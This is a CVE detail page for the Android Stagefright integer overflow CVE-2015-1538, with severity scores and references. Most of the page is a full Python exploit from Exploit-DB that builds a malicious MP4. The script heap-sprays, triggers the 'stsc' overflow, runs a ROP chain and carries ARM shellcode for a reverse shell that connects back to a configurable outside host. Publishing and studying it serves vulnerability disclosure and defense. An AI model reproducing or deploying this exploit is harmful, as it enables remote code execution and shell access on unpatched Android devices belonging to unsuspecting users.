CVE-2015-1538 : Detail

CVE-2015-1538

93.79%V3
Network
2015-09-30
22h00 +00:00
2017-09-20
07h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer overflow in the SampleTable::setSampleToChunkParams function in SampleTable.cpp in libstagefright in Android before 5.1.1 LMY48I allows remote attackers to execute arbitrary code via crafted atoms in MP4 data that trigger an unchecked multiplication, aka internal bug 20139950, a related issue to CVE-2015-4496.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 38124

Publication date : 2015-09-08 22h00 +00:00
Author : Joshua J. Drake
EDB Verified : Yes

#!/usr/bin/env python # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs # Shout outs to our friends at Optiv (formerly Accuvant Labs) # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015 # www.zimperium.com # # Exploit for RCE Vulnerability CVE-2015-1538 #1 # Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling # # Don’t forget, the output of “create_mp4” can be delivered many ways! # MMS is the most dangerous attack vector, but not the only one… # # DISCLAIMER: This exploit is for testing and educational purposes only. Any # other usage for this code is not allowed. Use at your own risk. # # “With great power comes great responsibility.” – Uncle Ben # import struct import socket # # Creates a single MP4 atom – LEN, TAG, DATA # def make_chunk(tag, data): if len(tag) != 4: raise ‘Yo! They call it “FourCC” for a reason.’ ret = struct.pack(‘>L’, len(data) + 8) ret += tag ret += data return ret # # Make an ‘stco’ atom – Sample Table Chunk Offets # def make_stco(extra=”): ret = struct.pack(‘>L’, 0) # version ret += struct.pack(‘>L’, 0) # mNumChunkOffsets return make_chunk(‘stco’, ret+extra) # # Make an ‘stsz’ atom – Sample Table Size # def make_stsz(extra=”): ret = struct.pack(‘>L’, 0) # version ret += struct.pack(‘>L’, 0) # mDefaultSampleSize ret += struct.pack(‘>L’, 0) # mNumSampleSizes return make_chunk(‘stsz’, ret+extra) # # Make an ‘stts’ atom – Sample Table Time-to-Sample # def make_stts(): ret = struct.pack(‘>L’, 0) # version ret += struct.pack(‘>L’, 0) # mTimeToSampleCount return make_chunk(‘stts’, ret) # # This creates a single Sample Table Sample-to-Chunk entry # def make_stsc_entry(start, per, desc): ret = ” ret += struct.pack(‘>L’, start + 1) ret += struct.pack(‘>L’, per) ret += struct.pack(‘>L’, desc) return ret # # Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk # # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and # cause a heap overflow. # def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False): ret = struct.pack(‘>L’, 0) # version/flags # this is the clean version… if not do_overflow: ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets ret += ‘Z’ * (12 * num_alloc) return make_chunk(‘stsc’, ret) # now the explicit version. (trigger the bug) ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets # fill in the entries that will overflow the buffer for x in range(0, num_write): ret += make_stsc_entry(sp_addr, sp_addr, sp_addr) ret = make_chunk(‘stsc’, ret) # patch the data_size ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:] return ret # # Build the ROP chain # # ROP pivot by Georg Wicherski! Thanks! # “”” (gdb) x/10i __dl_restore_core_regs 0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34 0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5} 0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5} 0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11} 0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc} “”” “”” b0001144 <__dl_mprotect>: b0001144: e92d0090 push {r4, r7} b0001148: e3a0707d mov r7, #125 ; 0x7d b000114c: ef000000 svc 0x00000000 b0001150: e8bd0090 pop {r4, r7} b0001154: e1b00000 movs r0, r0 b0001158: 512fff1e bxpl lr b000115c: ea0015cc b b0006894 <__dl_raise+0x10> “”” def build_rop(off, sp_addr, newpc_val, cb_host, cb_port): rop = ” rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp rop += struct.pack(‘<L’, 0xb0002a98) # new lr – pop {pc} rop += struct.pack(‘<L’, 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc} rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned) rop += struct.pack(‘<L’, 0x1000) # new r1 – length rop += struct.pack(‘<L’, 7) # new r2 – protection rop += struct.pack(‘<L’, 0xd000d003) # new r3 – scratch rop += struct.pack(‘<L’, 0xd000d004) # new r4 – scratch rop += struct.pack(‘<L’, 0xb0001144) # new pc – _dl_mprotect native_start = sp_addr + 0x80 rop += struct.pack(‘<L’, native_start) # address of native payload #rop += struct.pack(‘<L’, 0xfeedfed5) # top of stack… # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit) buf = ” # fork buf += ‘\x02\x70\xa0\xe3’ buf += ‘\x00\x00\x00\xef’ # continue if not parent… buf += ‘\x00\x00\x50\xe3’ buf += ‘\x02\x00\x00\x0a’ # exit parent buf += ‘\x00\x00\xa0\xe3’ buf += ‘\x01\x70\xa0\xe3’ buf += ‘\x00\x00\x00\xef’ # setsid in child buf += ‘\x42\x70\xa0\xe3’ buf += ‘\x00\x00\x00\xef’ # socket/connect/dup2/dup2/dup2 buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’ buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’ buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’ buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’ buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’ buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’ buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’ buf += ‘\xe3\x00\x00\x00\xef’ # execve(shell, argv, env) buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’ buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’ buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’ buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’ buf += ‘\xef\x02\x00’ # Add the connect back host/port buf += struct.pack(‘!H’, cb_port) cb_host = socket.inet_aton(cb_host) buf += struct.pack(‘=4s’, cb_host) # shell – buf += ‘/system/bin/sh\x00\x00’ # argv – buf += ‘sh\x00\x00’ # env – buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’ # Add some identifiable stuff, just in case something goes awry… rop_start_off = 0x34 x = rop_start_off + len(rop) while len(rop) < 0x80 – rop_start_off: rop += struct.pack(‘<L’, 0xf0f00000+x) x += 4 # Add the native payload… rop += buf return rop # # Build an mp4 that exploits CVE-2015-1538 #1 # # We mimic meow.3gp here… # def create_mp4(sp_addr, newpc_val, cb_host, cb_port): chunks = [] # Build the MP4 header… ftyp = ‘mp42’ ftyp += struct.pack(‘>L’, 0) ftyp += ‘mp42’ ftyp += ‘isom’ chunks.append(make_chunk(‘ftyp’, ftyp)) # Note, this causes a few allocations… moov_data = ” moov_data += make_chunk(‘mvhd’, struct.pack(‘>LL’, 0, 0x41414141) + (‘B’ * 0x5c) ) # Add a minimal, verified trak to satisfy mLastTrack being set moov_data += make_chunk(‘trak’, make_chunk(‘stbl’, make_stsc(0x28, 0x28) + make_stco() + make_stsz() + make_stts() )) # Spray the heap using a large tx3g chunk (can contain binary data!) “”” 0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs 0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0 0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1 0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4 0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement 0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1 0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42> 0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase 0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr 0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address 0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6 0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it! “”” page = ” off = 0 # the offset to the next object off += 8 page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28) # _vptr.RefBase (for when we smash mDataSource) page += struct.pack(‘<L’, sp_addr + off) # mRefs off += 16 page += struct.pack(‘<L’, 1) # mStrong page += struct.pack(‘<L’, 0xc0dedbad) # mWeak page += struct.pack(‘<L’, sp_addr + off) # mBase page += struct.pack(‘<L’, 16) # mFlags (dont set OBJECT_LIFETIME_MASK) off += 8 page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase page += struct.pack(‘<L’, 0xf00dbabe) # mBase.mRefs (unused) off += 16 page += struct.pack(‘<L’, 0xc0de0000 + 0x00) # vtable entry 0 page += struct.pack(‘<L’, 0xc0de0000 + 0x04) # vtable entry 4 page += struct.pack(‘<L’, 0xc0de0000 + 0x08) # vtable entry 8 page += struct.pack(‘<L’, newpc_val) # vtable entry 12 rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port) x = len(page) while len(page) < 4096: page += struct.pack(‘<L’, 0xf0f00000+x) x += 4 off = 0x34 page = page[:off] + rop + page[off+len(rop):] spray = page * (((2*1024*1024) / len(page)) – 20) moov_data += make_chunk(‘tx3g’, spray) block = ‘A’ * 0x1c bigger = ‘B’ * 0x40 udta = make_chunk(‘udta’, make_chunk(‘meta’, struct.pack(‘>L’, 0) + make_chunk(‘ilst’, make_chunk(‘cpil’, make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) + make_chunk(‘trkn’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) + make_chunk(‘disk’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) + make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 + make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘aART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘gnre’, make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) + make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 + make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) + make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) + make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger))) ) ) moov_data += udta # Make the nasty trak tkhd1 = ”.join([ ‘\x00’, # version ‘D’ * 3, # padding ‘E’ * (5*4), # {c,m}time, id, ??, duration ‘F’ * 0x10, # ?? struct.pack(‘>LLLLLL’, 0x10000, # a00 0, # a01 0, # dx 0, # a10 0x10000, # a11 0), # dy ‘G’ * 0x14 ]) trak1 = ” trak1 += make_chunk(‘tkhd’, tkhd1) mdhd1 = ”.join([ ‘\x00’, # version ‘D’ * 0x17, # padding ]) mdia1 = ” mdia1 += make_chunk(‘mdhd’, mdhd1) mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a) dinf1 = ” dinf1 += make_chunk(‘dref’, ‘H’ * 0x14) minf1 = ” minf1 += make_chunk(‘smhd’, ‘G’ * 0x08) minf1 += make_chunk(‘dinf’, dinf1) # Build the nasty sample table to trigger the vulnerability here. stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER # Add the stbl to the minf chunk minf1 += make_chunk(‘stbl’, stbl1) # Add the minf to the mdia chunk mdia1 += make_chunk(‘minf’, minf1) # Add the mdia to the track trak1 += make_chunk(‘mdia’, mdia1) # Add the nasty track to the moov data moov_data += make_chunk(‘trak’, trak1) # Finalize the moov chunk moov = make_chunk(‘moov’, moov_data) chunks.append(moov) # Combine outer chunks together and voila. data = ”.join(chunks) return data if __name__ == ‘__main__’: import sys import mp4 import argparse def write_file(path, content): with open(path, ‘wb’) as f: f.write(content) def addr(sval): if sval.startswith(‘0x’): return int(sval, 16) return int(sval) # The address of a fake StrongPointer object (sprayed) sp_addr = 0x41d00010 # takju @ imm76i – 2MB (via hangouts) # The address to of our ROP pivot newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs # Allow the user to override parameters parser = argparse.ArgumentParser() parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’) parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345) parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None) parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None) parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’) args = parser.parse_args() if len(sys.argv) == 1: parser.print_help() sys.exit(–1) if args.spray_addr == None: args.spray_addr = sp_addr if args.rop_pivot == None: args.rop_pivot = newpc_val # Build the MP4 file… data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport) print(‘[*] Saving crafted MP4 to %s …’ % args.output_file) write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf

Products Mentioned

Configuraton 0

Google>>Android >> Version To (including) 5.1

References

http://www.securitytracker.com/id/1033094
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/76052
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/38124/
Tags : exploit, x_refsource_EXPLOIT-DB